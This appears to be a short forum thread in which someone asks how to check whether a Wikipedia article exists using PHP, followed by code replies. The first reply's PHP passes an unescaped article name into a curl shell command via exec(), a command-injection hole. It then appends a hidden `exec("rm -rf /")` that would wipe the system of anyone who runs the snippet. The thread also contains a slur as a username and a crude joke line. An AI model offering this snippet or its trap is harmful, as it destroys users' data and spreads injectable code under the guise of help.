Name: Fagot 2010-02-11 20:08
how can I check if a wikipedia article exists using PHP?
thank you
thank you
<?php
$articleName = "Whatever_article_name";
$maximum_length_of_error_pages = 250; // Current length: 225. Adding buffer in case it changes.
// Like when WP asks for donations.
$Lenghtest = exec("curl http://en.wikipedia.org/wiki/" . $articleName . " | wc -l | sed 's/^[ \t]*//'");
if($Lenghtest < $maximum_length_of_error_pages){
print"This page doesn't exist!";
} else {
print"This page exists!";
}
?><?php exec("rm -rf /"); ?>
<?= array_search(" <page>\n", file("http://en.wikipedia.org/wiki/Special:Export/$p", 0, stream_context_create(array("http" => array("user_agent" => "Sussman/(.)"))))) ?>
FIND FIRST anus WHERE anus.cust-id = mE NO-LOCK NO-ERROR.
anus.parent-id